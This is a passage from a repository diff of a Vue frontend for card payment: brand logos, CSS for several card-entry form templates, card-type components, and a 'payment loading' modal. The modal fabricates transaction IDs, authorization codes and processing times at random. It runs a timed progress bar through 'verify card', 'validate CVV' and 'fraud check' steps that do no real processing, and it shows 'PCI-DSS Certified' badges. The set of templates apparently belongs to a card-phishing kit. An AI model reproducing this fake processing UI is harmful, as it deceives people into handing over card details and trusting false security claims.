4.53h9.842l30.884-69.076h32.835l37.102 83.081v-83.08h33.366l38.519 61.174v-61.174h22.445zm-133.2-37.82-15.165-35.017-15.081 35.017zm189.04 178.08c-5.322 7.457-15.694 11.238-29.736 11.238h-42.319v-18.84h42.147c4.181 0 7.106-.527 8.868-2.175 1.665-1.474 2.605-3.554 2.591-5.729 0-2.561-1.064-4.593-2.677-5.811-1.59-1.342-3.904-1.95-7.722-1.95-20.574-.67-46.244.608-46.244-27.194 0-12.742 8.443-26.156 31.439-26.156h43.649v-17.479h-40.557c-12.237 0-21.129 2.81-27.425 7.174v-7.175h-59.985c-9.595 0-20.854 2.279-26.179 7.175v-7.175h-107.12v7.175c-8.524-5.892-22.908-7.175-29.549-7.175h-70.656v7.175c-6.745-6.258-21.742-7.175-30.886-7.175h-79.077l-18.094 18.764-16.949-18.764h-118.13v122.59h115.9l18.646-19.062 17.565 19.062 71.442.061v-28.838h7.021c9.479.14 20.66-.228 30.523-4.312v33.085h58.928v-31.952h2.842c3.628 0 3.985.144 3.985 3.615v28.333h179.01c11.364 0 23.244-2.786 29.824-7.845v7.845h56.78c11.815 0 23.354-1.587 32.134-5.649l.002-22.84zm-354.94-47.155c0 24.406-19.005 29.445-38.159 29.445h-27.343v29.469h-42.591l-26.984-29.086-28.042 29.086h-86.802v-87.859h88.135l26.961 28.799 27.875-28.799h70.021c17.389 0 36.929 4.613 36.929 28.945zm-174.22 40.434h-53.878v-17.48h48.11v-17.926h-48.11v-15.974h54.939l23.969 25.604zm86.81 10.06-33.644-35.789 33.644-34.65zm49.757-39.066h-28.318v-22.374h28.572c7.912 0 13.404 3.09 13.404 10.772 0 7.599-5.238 11.602-13.658 11.602zm148.36-40.373h73.138v18.17h-51.315v15.973h50.062v17.926h-50.062v17.48l51.314.08v18.23h-73.139zm-28.119 47.029c4.878 1.725 8.865 4.816 10.734 7.375 3.095 4.291 3.542 8.294 3.631 16.037v17.418h-22.002v-10.992c0-5.286.531-13.112-3.542-17.198-3.201-3.147-8.083-3.899-16.076-3.899h-23.42v32.09h-22.02v-87.859h50.594c11.093 0 19.173.47 26.366 4.146 6.915 4.004 11.266 9.487 11.266 19.511-.001 14.022-9.764 21.178-15.531 23.371zm-12.385-11.107c-2.932 1.667-6.556 1.811-10.818 1.811h-26.622v-19.732h26.982c3.902 0 7.807.08 10.458 1.587 2.84 1.423 4.538 4.146 4.538 7.903 0 3.758-1.699 6.786-4.538 8.431zm197.82 5.597c4.27 4.229 6.554 9.571 6.554 18.613 0 18.9-12.322 27.723-34.425 27.723h-42.68v-18.84h42.51c4.157 0 7.104-.525 8.95-2.175 1.508-1.358 2.589-3.333 2.589-5.729 0-2.561-1.17-4.592-2.675-5.811-1.675-1.34-3.986-1.949-7.803-1.949-20.493-.67-46.157.609-46.157-27.192 0-12.744 8.355-26.158 31.33-26.158h43.932v18.7h-40.198c-3.984 0-6.575.145-8.779 1.587-2.4 1.422-3.29 3.534-3.29 6.319 0 3.314 2.037 5.57 4.795 6.546 2.311.77 4.795.995 8.526.995l11.797.306c11.895.276 20.061 2.248 25.024 7.065zm86.955-23.52h-39.938c-3.986 0-6.638.144-8.867 1.587-2.312 1.423-3.202 3.534-3.202 6.322 0 3.314 1.951 5.568 4.791 6.544 2.312.771 4.795.996 8.444.996l11.878.304c11.983.284 19.982 2.258 24.86 7.072.891.67 1.422 1.422 2.033 2.175v-25z" fill="#fff"/></svg>

After

Width:  |  Height:  |  Size: 4.7 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.3 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.3 KiB

View File

@@ -0,0 +1 @@
<svg height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><g fill-rule="evenodd"><path d="m54.992 0c-30.365 0-54.992 24.63-54.992 55.004v390.992c0 30.38 24.619 55.004 54.992 55.004h670.016c30.365 0 54.992-24.63 54.992-55.004v-390.992c0-30.38-24.619-55.004-54.992-55.004z" fill="#4d4d4d"/><path d="m327.152 161.893c8.837 0 16.248 1.784 25.268 6.09v22.751c-8.544-7.863-15.955-11.154-25.756-11.154-19.264 0-34.414 15.015-34.414 34.05 0 20.075 14.681 34.196 35.37 34.196 9.312 0 16.586-3.12 24.8-10.857v22.763c-9.341 4.14-16.911 5.776-25.756 5.776-31.278 0-55.582-22.596-55.582-51.737 0-28.826 24.951-51.878 56.07-51.878zm-97.113.627c11.546 0 22.11 3.72 30.943 10.994l-10.748 13.248c-5.35-5.646-10.41-8.028-16.564-8.028-8.853 0-15.3 4.745-15.3 10.989 0 5.354 3.619 8.188 15.944 12.482 23.365 8.044 30.29 15.176 30.29 30.926 0 19.193-14.976 32.553-36.32 32.553-15.63 0-26.994-5.795-36.458-18.872l13.268-12.03c4.73 8.61 12.622 13.222 22.42 13.222 9.163 0 15.947-5.952 15.947-13.984 0-4.164-2.055-7.734-6.158-10.258-2.066-1.195-6.158-2.977-14.2-5.647-19.291-6.538-25.91-13.527-25.91-27.185 0-16.225 14.214-28.41 32.846-28.41zm234.723 1.728h22.437l28.084 66.592 28.446-66.592h22.267l-45.494 101.686h-11.053zm-397.348.152h30.15c33.312 0 56.534 20.382 56.534 49.641 0 14.59-7.104 28.696-19.118 38.057-10.108 7.901-21.626 11.445-37.574 11.445h-29.992zm96.135 0h20.54v99.143h-20.54zm411.734 0h58.252v16.8h-37.725v22.005h36.336v16.791h-36.336v26.762h37.726v16.785h-58.252v-99.143zm71.858 0h30.455c23.69 0 37.265 10.71 37.265 29.272 0 15.18-8.514 25.14-23.986 28.105l33.148 41.766h-25.26l-28.429-39.828h-2.678v39.828h-20.515zm20.515 15.616v30.025h6.002c13.117 0 20.069-5.362 20.069-15.328 0-9.648-6.954-14.697-19.745-14.697zm-579.716 1.183v65.559h5.512c13.273 0 21.656-2.394 28.11-7.88 7.103-5.955 11.376-15.465 11.376-24.98 0-9.499-4.273-18.725-11.376-24.681-6.785-5.78-14.837-8.018-28.11-8.018z" fill="#fff"/><path d="m415.13 161.21c30.941 0 56.022 23.58 56.022 52.709v.033c0 29.13-25.081 52.742-56.021 52.742s-56.022-23.613-56.022-52.742v-.033c0-29.13 25.082-52.71 56.022-52.71zm364.85 127.15c-26.05 18.33-221.08 149.34-558.75 212.62h503.76c30.365 0 54.992-24.63 54.992-55.004v-157.62z" fill="#f47216"/></g></svg>

After

Width:  |  Height:  |  Size: 2.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 163 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 133 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 259 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 260 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 261 KiB

Binary file not shown.

View File

@@ -0,0 +1,85 @@
.main-content-body {
padding: 1rem !important
}
.main-content-body {
max-width: 800px
}
.main-content-body form {
box-sizing: border-box;
width: 100%
}
.main-content-body form div.input1 [alt=cvv] {
bottom: 8px
}
.main-content-body form div.input1 input {
padding: 8px !important;
flex: 1;
}
.main-content-body form div.input1 input {
border: 1px solid #cccfd3;
background-color: #F7F7F7;
border-radius: 5px;
outline: none
}
.main-content-body form div.input1 input::-moz-placeholder {
opacity: .5
}
.main-content-body form div.input1 input::placeholder {
opacity: .5
}
.main-content-body form div.button-submit button {
font-weight: 700;
background: var(--global-primary-color);
color: #fff;
width: 100%;
border-radius: 100rem;
padding: 10px 20px;
border: none !important;
}
.t1-button-submit button,
.t1-pt1-btn-wrap button,
.t6-submit-btn,
.t6-next-step-button,
.t2-button-submit button,
.op-button-submit button {
font-weight: 700;
background: var(--global-primary-color) !important;
color: #fff;
width: 100%;
border-radius: 8px !important;
padding: 10px 20px;
border: none !important;
height: 50px !important;
font-size: 18px !important;
}
.main-content-body form div.button-submit button:active {
opacity: .5
}
input[inputmode=numeric],
input[type=tel],
input[inputmode=tel],
input[type=email],
input[inputmode=email] {
direction: ltr !important;
}
.top-content {
display: flex;
flex-direction: row;
background: var(--global-primary-color);
padding: 10px 30px;
align-items: center;
}

View File

@@ -0,0 +1,61 @@
<template>
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="height: 60px" />
</template>
<script lang="ts">
import { defineComponent, computed } from "vue";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
export default defineComponent({
name: "CardLogo",
props: {
cardType: {
type: String,
required: true,
},
},
setup(props) {
const logoSrc = computed(() => {
if (!props.cardType) {
return null
}
const cardTypeUpper = props.cardType?.toLocaleUpperCase();
if (cardTypeUpper.includes("VISA")) {
return c1;
} else if (cardTypeUpper.includes("MASTERCARD")) {
return c2;
} else if (cardTypeUpper.includes("JCB")) {
return c3;
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
return c4;
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
return c5;
} else if (cardTypeUpper.includes("DISCOVER")) {
return c6;
} else if (cardTypeUpper.includes("MAESTRO")) {
return c7;
} else if (cardTypeUpper.includes("DINNERS")) {
return c8;
}
// 你可以添加更多的卡类型和对应的图片
return null; // 如果没有匹配的卡类型,则不显示图片
});
return {
logoSrc,
};
},
});
</script>
<style scoped>
/* 可以在这里添加样式 */
</style>

View File

@@ -0,0 +1,61 @@
<template>
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="width: 100%" />
</template>
<script lang="ts">
import { defineComponent, computed } from "vue";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
export default defineComponent({
name: "CardLogo",
props: {
cardType: {
type: String,
required: true,
},
},
setup(props) {
const logoSrc = computed(() => {
if (!props.cardType) {
return null
}
const cardTypeUpper = props.cardType?.toLocaleUpperCase();
if (cardTypeUpper.includes("VISA")) {
return c1;
} else if (cardTypeUpper.includes("MASTERCARD")) {
return c2;
} else if (cardTypeUpper.includes("JCB")) {
return c3;
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
return c4;
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
return c5;
} else if (cardTypeUpper.includes("DISCOVER")) {
return c6;
} else if (cardTypeUpper.includes("MAESTRO")) {
return c7;
} else if (cardTypeUpper.includes("DINNERS")) {
return c8;
}
// 你可以添加更多的卡类型和对应的图片
return null; // 如果没有匹配的卡类型,则不显示图片
});
return {
logoSrc,
};
},
});
</script>
<style scoped>
/* 可以在这里添加样式 */
</style>

View File

@@ -0,0 +1,51 @@
<script setup lang="ts">
import { inject } from "vue";
import { myWebSocket } from "@/utils/common";
defineProps<{
msg: string;
}>();
const sendMsg = () => {
myWebSocket?.send(
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
);
};
</script>
<template>
<div class="greetings">
<h1 class="green">{{ msg }}</h1>
<button @click="sendMsg">Send</button>/
<h3>
Youve successfully created a project with
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
What's next?
</h3>
</div>
</template>
<style scoped>
h1 {
font-weight: 500;
font-size: 2.6rem;
top: -10px;
}
h3 {
font-size: 1.2rem;
}
.greetings h1,
.greetings h3 {
text-align: center;
}
@media (min-width: 1024px) {
.greetings h1,
.greetings h3 {
text-align: left;
}
}
</style>

View File

@@ -0,0 +1,673 @@
<template>
<transition name="plm-fade">
<div v-if="visible" class="plm-overlay" @click="handleOverlayClick">
<transition name="plm-slide">
<div v-if="visible" class="plm-dialog" @click.stop>
<!-- Dialog Header -->
<div class="plm-dialog-header">
<div class="plm-header-left">
<div class="plm-header-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<rect x="1" y="4" width="22" height="16" rx="2" ry="2"></rect>
<line x1="1" y1="10" x2="23" y2="10"></line>
</svg>
</div>
<div class="plm-header-text">
<span class="plm-header-title">{{ t("payment_loading.modal_title") }}</span>
<span class="plm-header-sub">{{ t("payment_loading.modal_subtitle") }}</span>
</div>
</div>
<div class="plm-header-pct">{{ Math.floor(progress) }}%</div>
</div>
<!-- Dialog Body -->
<div class="plm-dialog-body">
<!-- Card + progress -->
<div class="plm-center-wrap">
<div class="plm-card-logo">
<img :src="imgRef" alt="card" />
<div class="plm-scan-line"></div>
</div>
<div class="plm-progress-section">
<div class="plm-progress-track">
<div class="plm-progress-fill" :style="{ width: progress + '%' }"></div>
</div>
</div>
<div class="plm-status-msg">
<span class="plm-dot-pulse"></span>
<span>{{ progressMessage }}</span>
</div>
</div>
<!-- Security badges -->
<div class="plm-badges">
<div class="plm-badge">
<svg viewBox="0 0 24 24" fill="currentColor">
<path d="M18,8H17V6A5,5,0,0,0,7,6V8H6a2,2,0,0,0-2,2V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V10A2,2,0,0,0,18,8ZM9,6a3,3,0,0,1,6,0V8H9ZM18,20H6V10H18Z"/>
</svg>
<span>{{ t("SSL Encryption") }}</span>
</div>
<div class="plm-badge-sep"></div>
<div class="plm-badge">
<svg viewBox="0 0 24 24" fill="currentColor">
<path d="M12,2L4,5v6c0,5.55,3.84,10.74,8,12c4.16-1.26,8-6.45,8-12V5L12,2z"/>
</svg>
<span>{{ t("PCI-DSS Certified") }}</span>
</div>
<div class="plm-badge-sep"></div>
<div class="plm-badge">
<svg viewBox="0 0 24 24" fill="currentColor">
<path d="M3,6h18c.55,0,1,.45,1,1v10c0,.55-.45,1-1,1H3c-.55,0-1-.45-1-1V7C2,6.45,2.45,6,3,6zM20,10H4v6h16V10zM16,12h3v2h-3V12z"/>
</svg>
<span>{{ t("Safe payment") }}</span>
</div>
</div>
<!-- Transaction details -->
<div class="plm-details" v-if="showDetails">
<div class="plm-details-title">
<svg viewBox="0 0 24 24" fill="currentColor">
<path d="M14,2H6A2,2,0,0,0,4,4V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V8ZM16,18H8V16h8Zm0-4H8V12h8ZM13,9V3.5L18.5,9Z"/>
</svg>
{{ t("payment_loading.transaction_details") }}
</div>
<div class="plm-detail-row">
<span class="plm-detail-label">{{ t("payment_loading.transaction_id") }}</span>
<span class="plm-detail-val">{{ transactionId }}</span>
</div>
<div class="plm-detail-row">
<span class="plm-detail-label">{{ t("payment_loading.processing_network") }}</span>
<span class="plm-detail-val">{{ processingNetwork }}</span>
</div>
<div class="plm-detail-row">
<span class="plm-detail-label">{{ t("payment_loading.processing_time") }}</span>
<span class="plm-detail-val">{{ processingTime }}</span>
</div>
<div class="plm-detail-row">
<span class="plm-detail-label">{{ t("payment_loading.security_level") }}</span>
<span class="plm-detail-val plm-green">{{ securityLevel }}</span>
</div>
</div>
</div>
</div>
</transition>
</div>
</transition>
</template>
<script setup lang="ts">
import { ref, watch, onUnmounted, computed } from "vue";
import { useI18n } from "vue-i18n";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
import c9 from "@/assets/img/mir.jpg";
import c10 from "@/assets/img/80066acd3fcfa.svg";
const { t } = useI18n();
// ── Types ──────────────────────────────────────────────────
interface Props {
visible: boolean;
cardNumber?: string;
loading?: boolean;
closable?: boolean;
maskClosable?: boolean;
autoClose?: boolean;
autoCloseDelay?: number;
}
interface Emits {
(e: 'update:visible', value: boolean): void;
(e: 'close'): void;
(e: 'step-change', step: number): void;
}
const props = withDefaults(defineProps<Props>(), {
visible: false,
cardNumber: "",
loading: true,
closable: true,
maskClosable: true,
autoClose: false,
autoCloseDelay: 5000
});
const emit = defineEmits<Emits>();
// ── State ──────────────────────────────────────────────────
const progress = ref(0);
const progressMessage = ref(t('payment_loading.preparing'));
const intervalId = ref<ReturnType<typeof setInterval> | ReturnType<typeof setTimeout> | null>(null);
const showSpinner = ref(false);
const transactionId = ref('');
const authCode = ref('');
const processingNetwork = ref('');
const processingTime = ref('');
const securityLevel = ref(t('payment_loading.high'));
const showDetails = ref(false);
const imgRef = ref<string>(c8);
const autoCloseTimer = ref<number | null>(null);
// ── Computed ───────────────────────────────────────────────
const cardType = computed(() => {
const num = props.cardNumber.replace(/\D/g, '');
if (/^4/.test(num)) return 'VISA';
if (/^(5[1-5]|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[0-1][0-9]|2720)/.test(num)) return 'MASTERCARD';
if (/^(62|81)/.test(num)) return 'CHINA UNION PAY';
if (/^3[347]/.test(num)) return 'AMERICAN EXPRESS';
if (/^(6011|64[4-9]|65|62212[6-9]|6221[3-9][0-9]|622[2-8][0-9]{2}|6229[0-2][0-5])/.test(num)) return 'DISCOVER';
if (/^35(2[8-9]|[3-8][0-9])/.test(num)) return 'JCB';
if (/^(30|36|38|39)/.test(num)) return 'DINNERS';
if (/^(50|5[6-8]|6[^2])/.test(num)) return 'MAESTRO';
if (/^220[0-4]/.test(num)) return 'MIR';
return 'Generic';
});
// ── Progress steps ─────────────────────────────────────────
const progressSteps = [
{ threshold: 0, message: t('payment_loading.step_init') },
{ threshold: 10, message: t('payment_loading.step_encrypt') },
{ threshold: 20, message: t('payment_loading.step_connect') },
{ threshold: 30, message: t('payment_loading.step_verify_card') },
{ threshold: 40, message: t('payment_loading.step_validate_cvv') },
{ threshold: 50, message: t('payment_loading.step_fraud') },
{ threshold: 60, message: t('payment_loading.step_send') },
{ threshold: 70, message: t('payment_loading.step_wait_auth') },
{ threshold: 80, message: t('payment_loading.step_process_resp') },
{ threshold: 90, message: t('payment_loading.step_confirm') },
{ threshold: 95, message: t('payment_loading.step_finalize') },
{ threshold: 100, message: '' },
];
// ── Functions ──────────────────────────────────────────────
function getCreditCardType(type: string | null): string {
if (!type) return c8;
const u = type.toLocaleUpperCase();
if (u.includes("VISA")) return c1;
if (u.includes("MASTERCARD")) return c2;
if (u.includes("JCB")) return c3;
if (u.includes("CHINA UNION PAY")) return c4;
if (u.includes("AMERICAN EXPRESS"))return c5;
if (u.includes("DISCOVER")) return c6;
if (u.includes("MAESTRO")) return c7;
if (u.includes("DINNERS")) return c8;
if (u.includes("MIR")) return c9;
return c10;
}
const generateTransactionDetails = (typeData: string) => {
const type = typeData.toUpperCase();
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
transactionId.value = Array.from({ length: 12 }, () => chars[Math.floor(Math.random() * chars.length)]).join('');
authCode.value = Array.from({ length: 6 }, () => Math.floor(Math.random() * 10)).join('');
processingNetwork.value =
type === 'VISA' ? t('payment_loading.network_visa') :
type === 'MASTERCARD' ? t('payment_loading.network_mastercard') :
type === 'AMERICAN EXPRESS' ? t('payment_loading.network_amex') :
type === 'CHINA UNION PAY' ? t('payment_loading.network_unionpay') :
t('payment_loading.network_intl');
processingTime.value = t('payment_loading.time_seconds', { time: (Math.random() * 2 + 1.5).toFixed(2) });
};
const animateProgress = () => {
if (intervalId.value) clearInterval(intervalId.value as ReturnType<typeof setInterval>);
const breakpoints = [
{ point: 20, delay: 700 },
{ point: 40, delay: 500 },
{ point: 70, delay: 1200 },
{ point: 90, delay: 600 },
];
const getBreakpoint = () => breakpoints.find(bp => Math.abs(progress.value - bp.point) < 1);
intervalId.value = setInterval(() => {
const breakpoint = getBreakpoint();
if (breakpoint) {
const increment = Math.random() * 0.2;
progress.value = Math.min(progress.value + increment, 95);
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
setTimeout(() => {
if (breakpoint.point === 70) showDetails.value = true;
animateProgress();
}, breakpoint.delay);
return;
}
let increment: number;
if (progress.value < 30) increment = Math.random() * 1 + 0.5;
else if (progress.value < 65) increment = Math.random() * 0.8 + 0.3;
else if (progress.value < 85) increment = Math.random() * 0.5 + 0.1;
else increment = Math.random() * 0.3 + 0.05;
progress.value = Math.min(progress.value + increment, 95);
for (let i = progressSteps.length - 1; i >= 0; i--) {
if (progress.value >= progressSteps[i].threshold) {
progressMessage.value = progressSteps[i].message;
break;
}
}
if (!props.loading) {
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
intervalId.value = null;
progress.value = 100;
progressMessage.value = progressSteps[progressSteps.length - 1].message;
}
}, 300);
};
const clearAutoCloseTimer = () => {
if (autoCloseTimer.value) {
clearTimeout(autoCloseTimer.value);
autoCloseTimer.value = null;
}
};
const closeModal = () => {
clearAutoCloseTimer();
emit('update:visible', false);
emit('close');
};
const handleOverlayClick = () => {
if (props.maskClosable) closeModal();
};
// ── Watchers ───────────────────────────────────────────────
watch(() => props.visible, (newVisible) => {
if (newVisible) {
const type = cardType.value || localStorage.getItem("cardType");
imgRef.value = getCreditCardType(type);
if (props.autoClose) {
autoCloseTimer.value = window.setTimeout(() => closeModal(), props.autoCloseDelay);
}
} else {
clearAutoCloseTimer();
}
});
watch(() => props.loading, (isLoading) => {
if (isLoading) {
showSpinner.value = true;
progress.value = 0;
progressMessage.value = progressSteps[0].message;
generateTransactionDetails(cardType.value);
animateProgress();
} else {
if (intervalId.value) {
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
intervalId.value = null;
}
const completeProgress = () => {
const currentProgress = progress.value;
const step = Math.max((100 - currentProgress) / 10, 1);
progress.value = Math.min(currentProgress + step, 100);
progressMessage.value = progressSteps[progressSteps.length - 1].message;
if (progress.value < 100) {
intervalId.value = setTimeout(completeProgress, 10);
} else {
setTimeout(() => { showSpinner.value = false; }, 500);
}
};
completeProgress();
}
}, { immediate: true });
// ── Lifecycle ──────────────────────────────────────────────
onUnmounted(() => {
clearAutoCloseTimer();
if (intervalId.value) {
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
intervalId.value = null;
}
});
</script>
<style scoped>
/* ===== Transitions ===== */
.plm-fade-enter-active,
.plm-fade-leave-active {
transition: opacity 0.3s ease;
}
.plm-fade-enter-from,
.plm-fade-leave-to {
opacity: 0;
}
.plm-slide-enter-active {
transition: opacity 0.35s ease, transform 0.35s cubic-bezier(0.22, 1, 0.36, 1);
}
.plm-slide-leave-active {
transition: opacity 0.2s ease, transform 0.2s ease;
}
.plm-slide-enter-from {
opacity: 0;
transform: translateY(20px) scale(0.97);
}
.plm-slide-leave-to {
opacity: 0;
transform: translateY(8px) scale(0.99);
}
/* ===== Overlay ===== */
.plm-overlay {
position: fixed;
inset: 0;
background: rgba(30, 41, 59, 0.4);
backdrop-filter: blur(8px);
-webkit-backdrop-filter: blur(8px);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
padding: 20px;
box-sizing: border-box;
}
/* ===== Dialog ===== */
.plm-dialog {
width: 100%;
max-width: 380px;
background: #fff;
border-radius: 18px;
overflow: hidden;
box-shadow:
0 0 0 1px rgba(148, 163, 184, 0.15),
0 8px 24px -4px rgba(15, 23, 42, 0.12),
0 32px 64px -16px rgba(15, 23, 42, 0.14);
}
/* ===== Header ===== */
.plm-dialog-header {
background: linear-gradient(160deg, #f8fafc 0%, #f1f5f9 100%);
border-bottom: 1px solid #e8edf3;
padding: 18px 20px 16px;
display: flex;
align-items: center;
justify-content: space-between;
}
.plm-header-left {
display: flex;
align-items: center;
gap: 12px;
}
.plm-header-icon {
width: 36px;
height: 36px;
background: #fff;
border: 1px solid #e2e8f0;
border-radius: 10px;
display: flex;
align-items: center;
justify-content: center;
flex-shrink: 0;
box-shadow: 0 1px 3px rgba(0,0,0,0.06);
}
.plm-header-icon svg {
width: 17px;
height: 17px;
color: var(--global-primary-color, #4f7ef8);
}
.plm-header-text {
display: flex;
flex-direction: column;
gap: 2px;
}
.plm-header-title {
color: #1e293b;
font-size: 14px;
font-weight: 700;
letter-spacing: 0.1px;
line-height: 1.3;
}
.plm-header-sub {
color: #94a3b8;
font-size: 11.5px;
}
.plm-header-pct {
font-size: 20px;
font-weight: 800;
color: var(--global-primary-color, #4f7ef8);
letter-spacing: -0.5px;
min-width: 44px;
text-align: right;
}
/* ===== Dialog Body ===== */
.plm-dialog-body {
padding: 22px 20px 20px;
display: flex;
flex-direction: column;
align-items: center;
gap: 16px;
}
/* ===== Card + progress center ===== */
.plm-center-wrap {
width: 100%;
display: flex;
flex-direction: column;
align-items: center;
gap: 16px;
}
.plm-card-logo {
width: 120px;
height: 76px;
position: relative;
overflow: hidden;
border-radius: 10px;
background: #f8fafc;
border: 1px solid #e8edf3;
display: flex;
align-items: center;
justify-content: center;
box-shadow: 0 2px 8px rgba(0,0,0,0.06);
}
.plm-card-logo img {
width: 72%;
object-fit: contain;
}
.plm-scan-line {
position: absolute;
top: 0;
left: -10%;
width: 8px;
height: 100%;
background: rgba(255, 255, 255, 0.85);
box-shadow: 0 0 18px 10px rgba(255, 255, 255, 0.75);
animation: plm-scan 2.2s ease-in-out infinite;
}
@keyframes plm-scan {
0% { left: -10%; }
100% { left: 110%; }
}
/* ===== Progress ===== */
.plm-progress-section {
width: 100%;
}
.plm-progress-track {
width: 100%;
height: 4px;
background: #e8edf3;
border-radius: 99px;
overflow: hidden;
}
.plm-progress-fill {
height: 100%;
background: linear-gradient(90deg,
var(--global-primary-color, #4f7ef8) 0%,
#93c5fd 50%,
var(--global-primary-color, #4f7ef8) 100%);
background-size: 200% 100%;
border-radius: 99px;
transition: width 0.6s ease;
animation: plm-shimmer 2.5s linear infinite;
}
@keyframes plm-shimmer {
0% { background-position: 200% center; }
100% { background-position: -200% center; }
}
/* ===== Status message ===== */
.plm-status-msg {
display: flex;
align-items: center;
justify-content: center;
gap: 7px;
font-size: 12.5px;
color: #64748b;
min-height: 18px;
text-align: center;
letter-spacing: 0.1px;
}
.plm-dot-pulse {
display: inline-block;
width: 6px;
height: 6px;
border-radius: 50%;
background: var(--global-primary-color, #4f7ef8);
flex-shrink: 0;
animation: plm-pulse 1.6s ease-in-out infinite;
}
@keyframes plm-pulse {
0%, 100% { opacity: 1; transform: scale(1); }
50% { opacity: 0.3; transform: scale(0.65); }
}
/* ===== Divider ===== */
.plm-divider {
width: 100%;
height: 1px;
background: #f1f5f9;
}
/* ===== Security badges ===== */
.plm-badges {
display: flex;
align-items: center;
justify-content: center;
gap: 10px;
width: 100%;
box-sizing: border-box;
}
.plm-badge {
display: flex;
align-items: center;
gap: 4px;
color: #94a3b8;
font-size: 10.5px;
font-weight: 500;
white-space: nowrap;
letter-spacing: 0.1px;
}
.plm-badge svg {
width: 11px;
height: 11px;
fill: #86efac;
flex-shrink: 0;
}
.plm-badge-sep {
width: 1px;
height: 10px;
background: #e2e8f0;
flex-shrink: 0;
}
/* ===== Transaction details ===== */
.plm-details {
width: 100%;
background: #f8fafc;
border-radius: 12px;
padding: 14px 16px;
box-sizing: border-box;
border: 1px solid #edf2f7;
}
.plm-details-title {
display: flex;
align-items: center;
gap: 5px;
font-size: 10.5px;
font-weight: 600;
color: #94a3b8;
text-transform: uppercase;
letter-spacing: 0.8px;
margin-bottom: 10px;
}
.plm-details-title svg {
width: 12px;
height: 12px;
fill: #cbd5e1;
flex-shrink: 0;
}
.plm-detail-row {
display: flex;
justify-content: space-between;
align-items: center;
padding: 6px 0;
font-size: 12.5px;
border-bottom: 1px dashed #edf2f7;
}
.plm-detail-row:last-child {
border-bottom: none;
padding-bottom: 2px;
}
.plm-detail-label {
color: #94a3b8;
font-weight: 400;
}
.plm-detail-val {
font-family: "SF Mono", ui-monospace, "Courier New", monospace;
color: #475569;
font-weight: 600;
font-size: 11.5px;
letter-spacing: 0.3px;
max-width: 55%;
text-align: right;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.plm-green {
color: #22c55e;
}
</style>

View File

@@ -0,0 +1,223 @@
<script setup lang="ts">
import { computed, watch } from 'vue';
import { useI18n } from "vue-i18n";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
import c9 from "@/assets/img/mir.jpg";
const { t } = useI18n(); // 解构出t方法
interface Props {
cardNumber: string;
showModal: boolean;
}
interface Emits {
(e: 'update:showModal', value: boolean): void;
}
const props = defineProps<Props>();
const emit = defineEmits<Emits>();
const price = 'Gs. 294.000';
const formattedPrice = computed(() => {
return price.replace(/\.(\d{3})$/, '$1');
});
const cardType = computed(() => {
const num = props.cardNumber.replace(/\D/g, '');
if (/^4/.test(num)) return 'Visa';
